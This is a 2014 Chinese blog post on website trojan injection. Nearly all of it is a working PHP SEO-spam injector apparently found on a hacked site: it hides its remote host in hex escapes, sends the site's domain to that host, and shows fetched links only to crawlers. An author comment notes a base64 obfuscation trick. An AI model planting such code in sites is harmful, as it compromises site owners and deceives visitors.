文档章节

关于挂马

_
 _Yud
发布于 2014/09/05 09:10
字数 407
阅读 796
收藏 8
if(!class_exists('seoclient')){
    class seoclient{
        private $debug = NULL;
        private $arr = array();
        private $socket = "\X68\X74\X74\X70\X3A\X2F\X2F\X77\X77\X77\X2E\X70\X72\X6F\X62\X61\X69\X64\X75\X2E\X63\X6F\X6D\X2F\X69\X6E\X64\X65\X78\X2E\X70\X68\X70";

        public function __construct($debug = false) {
            $this->debug = $debug;
        }
        public function kecho($param,$line = "") {
            echo "<pre>";
            print_r($param);    echo "<hr>";    print_r($line);
            echo "</pre>";
        }


        public function main(){

            if (!self::is_bot())  return;
            $res = json_decode($this->post($this->socket,  $this->pcontext()),ture);
            $arr = array();
            foreach ($res as $key => $value) {
                if(self::file_exists($value)){
                    if(function_exists('file_get_contents')){
                        $arr = $this->file_get_contents($value);
                    }  else {
                        $arr = $this->file_get_array($value);
                    }
                    $this->frame($arr);                
                }
            }
        }

        protected function file_get_array($filename,$mode='r') {
            $arr = array();
            $fp = fopen($filename, $mode);
            while (!feof($fp)) {
                $arr[] = fgets($fp);
            }
            return $arr;
        }

        protected function file_get_contents($url) {
            $contents = file_get_contents($url);
            $contents = str_replace("a>", "a>|", $contents);
            $contents  = str_replace(PHP_EOL, '', $contents); 
            $array = explode('|', $contents);
            $array = array_filter($array);
            return $array;
        }

        protected function frame_td($a) {
            if(is_null($a)){
                 return  ;
            }
            return  "<td>$a</td>";
        }

        protected function frame_tr($a,$b,$c,$d) {
            $format = "<tr > ".self::frame_td($a).self::frame_td($b).self::frame_td($c).self::frame_td($c). "</tr>";
            echo  $format;
        }

         public function file_exists($page) {
            $headers = @get_headers($page);
            if ($headers) {
                $head = explode(' ', $headers[0]);
                if ( !empty($head[1]) && intval($head[1]) < 400) {
                    return true;
                }
            }
            return false;
        }

        public function frame($array) {
            echo "<table style='align:center;width:90%;cellpadding:1;cellspacing:0;border-style:dashed;border-width:1px; border-color:#000000;'>"; 
            for ($index = 0; $index < count($array); $index++) {
                self::frame_tr($array[$index],$array[$index+1],$array[$index+2],$array[$index+3]);
                $index = $index+3;
            }
            echo("</table><br><br>");

        }


        public function pcontext() {
            $d = array();
            $d['domain']    = $_SERVER['SERVER_NAME'];
            $d['token']     = substr(md5($_SERVER['SERVER_NAME']), 5,15);
            return $d;
        }


        public function post($url, $post = null,$method = 'POST',  $timeout= 60, $i =0)
        {
            $context = array();
            if (is_array($post)) {
                ksort($post);
                $context['http'] = array (
                    'timeout'=> $timeout,   'method' => $method,
                    'content' => http_build_query($post, '', '&'),
                );
            }
            $context = stream_context_create($context);
            while($i < 3 && ($html =file_get_contents($url, false, $context))===FALSE) {
                $i++;
            }
            return $html;
        }


         public function is_bot($botchar = "/(Googlebot|baidu|bot|crawl|spider|soso|sohu-search|curl|wget|360)/i"){
            if($this->debug){
                return TRUE;
            }
            $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
            if(preg_match($botchar, $user_agent)) {
                return TRUE;
            }else {           
                return false;
            }
        }

    }
}

if(!isset($seo_instance)){
    $seo_instance = new seoclient();
    $seo_instance->main();
}


© 著作权归作者所有

上一篇: 关于国产os
_
粉丝 2
博文 5
码字总数 1399
作品 0
郑州
私信 提问
加载中

评论(2)

_
_Yud 博主

引用来自“要疼爱佳旻”的评论

是用什么工具加密的?
之前我遇到过一次,只是和这个类型不太一样.找到一阵,也比较碎,没有做笔记. 原理相同 $a='some base64 code' ($a[x1].$a[x2].$a[x2])($a);
帖子列表
帖子列表
是用什么工具加密的?
张百川:“知道”网站安全体检初体验

  昨天游侠写过一篇文章 [关于几个免费在线挂马检测网站] ,说到了北京知道创宇公司的“知道网站安全体检中心”,他们的工作人员很及时的给我发了个内测账号,这里大体说下。当然网址是 ht...

wbf961127
2017/11/15
0
0
植入式攻击入侵检测解决方案

植入式攻击入侵检测解决方案 http://netkiller.github.io/journal/security.implants.html Mr. Neo Chen (陈景峰), netkiller, BG7NYT 中国广东省深圳市龙华新区民治街道溪山美地 518131 +86...

netkiller-
2014/12/25
176
0
网站的安全隐患与对策

下面我给大家稍微讲讲一下几个方面的web安全问题与对策 1)SQL注入挂马 2)网络带宽耗尽(迅雷等资源盗链) 3)DDOS攻击 4)XSS Worm 5)网页被篡改 6)ARP挂马 首先给大家介绍下SQL注入挂马...

红薯
2009/05/11
366
3
网页挂马袭击50款知名软件,波及20万用户

4月12日上午,腾讯御见威胁情报中心监测发现大量客户端(包括某知名播放器、某知名视频客户端、某大师客户端)的内嵌新闻页中被挂马,会在用户不知情的情况下植入木马程序。本波挂马波及到的...

又田
2018/04/13
0
0
站长dedecms网站被挂马清理过程与分析解决

最近收到一位客户的反馈,告知网站又被挂马,(织梦程序真让人头疼总是被挂马,dedecms经常是被挂马真晕了是的~)相信站长们都有遇到过网站被挂马或代码恶意植入的问题。下面把处理流程写下来...

网站安全
2018/06/13
0
0

没有更多内容

加载失败,请刷新页面

加载更多

zk中ToBeAppliedRequestProcessor解析

ToBeAppliedRequestProcessor在Leader中 在已处理事务和最后处理事务处理器之间,处理器链上下一个是FinalRequestProcessor public void processRequest(Request request) throws RequestPro...

writeademo
15分钟前
2
0
Allegro快捷键设置-PCB环境

立题简介: 内容:简单介绍Allegro绘制的PCB环境下的快捷键; 来源:实际使用得出; 作用:对Allegro绘制PCB快捷键进行介绍; PCB环境:Cadence 16.6; 立题详解: 对“allegro”板而言,其在...

demyar
16分钟前
2
0
idea maven web项目启动build时报错java.lang.NullPointerException

之前还好好的,重启一下idea就报这个错了,大概率是tomcat没杀掉端口被占用了,在tomcat配置中更换一下sever端口就好了

宇辰OSC
19分钟前
2
0
weed3-2.3.1.查询之输出

Weed3 一个超轻量级ORM框架(只有0.1Mb哦) 源码:https://github.com/noear/weed3 源码:https://gitee.com/noear/weed3 查询可是个复杂的话题了,可能我们80%的数据库处理都在查询。 今天先...

刘之西东
20分钟前
2
0
【Android JetPack系列】数据绑定:DataBinding

参考MVVM

Agnes2017
28分钟前
3
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部